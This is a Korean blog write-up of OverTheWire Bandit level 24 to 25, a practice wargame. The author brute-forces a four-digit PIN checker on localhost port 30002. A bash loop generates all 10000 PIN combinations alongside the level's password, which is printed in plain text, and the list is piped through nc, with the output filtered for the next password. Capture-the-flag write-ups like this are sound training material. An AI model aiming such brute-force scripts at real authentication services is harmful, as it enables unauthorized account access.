[OverTheWire:Bandit] Level 24 ~ Level 25

2023. 7. 18. 07:12War Game/OverTheWire

문제

 

 

다음 단계로 넘어가는 암호는 수신 대기 중인 포트 30002에 bandit24 계정의 암호와 4자리 핀코드를 입력하면 얻을 수 있다고 한다. 이때 4자리 핀코드를 입력 시 brute-forcing이라고 하는 10000개의 조합을 모두 통과하는 것 외에는 방법이 없다고 한다.

 

Keyword

 

nc, cat, chmod, vi, touch, mkdir

 

풀이

 

nc localhost 30002

 

문제에서 30002포트가 수신 대기 중으로 나와 있으니 nc 명령어를 사용해서 연결을 시도하면 "I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space."라는 텍스트가 출력된다. 텍스트에 따르면 bandit24 계정의 암호와 4자리 숫자를 공백으로 구분하여 한 줄로 입력해야 한다. 그래서 문제의 파악을 위해 시험 삼아 입력을 하면 잘못된 핀코드라고 하니 다시 시도해야 한다는 텍스트가 출력된다.

 

mkdir /tmp/test24
chmod 777 /tmp/test24
cd /tmp/test24
vi brute24.sh

 

브루트 포스 알고리즘을 구현하기 위한 쉘 스크립트를 작성해야한다. 쉘 스크립트를 작성하기 위해 /tmp 디렉토리 아래에 test24라는 디렉토리를 만든 후 권한을 부여했다. 그리고 brute24.sh라는 쉘 스크립트 파일을 작성했다.

 

#!/bin/bash

for i in $(seq -w 0 9999)
do
        echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i >> /tmp/test24/passlist.txt
done

 

brute24.sh파일은 10000가지 경우의 암호를 passlist.txt 파일에 저장하는 쉘 스크립트 파일이다. 핀코드( i위치)에 들어갈 숫자의 자릿수는 4자리이기 때문에 0부터 대입을 하게 되면 1자리 -> 2자리 -> 3자리 -> 4자리 순서로 불필요한 경우의 암호도 저장이 된다. 그렇기 때문에 seq -w 명령어를 사용하여 0000~9999까지 대입을 하게 작성했다.

 

touch passlist.txt
chmod 777 brute.sh
./brute24.sh

 

brute24.sh 쉘 스크립트 파일을 실행 후 passlist.txt 파일의 내용을 확인 했더니 문제없이 저장되었다.

 

touch result.txt
cat passlist.txt | nc localhost 30002 >> /tmp/test24/result.txt

 

cat passlist.txt | nc localhost 30002 >> /tmp/test24/result.txt 명령어 실행한 결과를 result.txt 파일에 저장을 하도록 했는데 시간이 아무리 지나도 작업이 완료가 되지 않자 강제 종료 후에 result.txt 파일의 내용을 확인해 봤더니 중간에 끊긴 것이 확인되었다. 왜 이런 문제가 생겼는지 고심한 결과, 한 번에 많은 데이터양을 처리하다 보니 과부하가 걸린 게 아닌가 싶어서 이번에는 절반씩 처리하게 쉘 스크립트를 수정하였다.

 

touch brute24_1.sh
touch brute24_2.sh
touch passlist1.txt
touch passlist2.txt
touch result1.txt
touch result2.txt
vi brute24_1.sh
vi brute24_2.sh
chmod 777 brute24_1.sh
chmod 777 brute24_2.sh
./brute24_1.sh
./brute24_2.sh

cat passlist1.txt | nc localhost 30002 >> /tmp/test24/result1.txt
cat passlist2.txt | nc localhost 30002 >> /tmp/test24/result2.txt

 

1 그룹은 핀코드를 0000~5000까지 처리하도록 하였고 2 그룹은 핀코드를 5001~9999까지 처리하도록 만들었다. 그리고 명령을 문제 없이 수행한 것을 확인하였다.

 

cat result1.txt | sort | uniq -u
cat result2.txt | sort | uniq -u

 

1 그룹에서 중복 되지 않는 라인을 출력하도록 명령어를 입력했으나 bandit25 계정의 암호를 얻지 못했다. 2 그룹에서도 같은 명령어를 입력했더니 bandit25 계정의 암호를 얻을 수 있었다.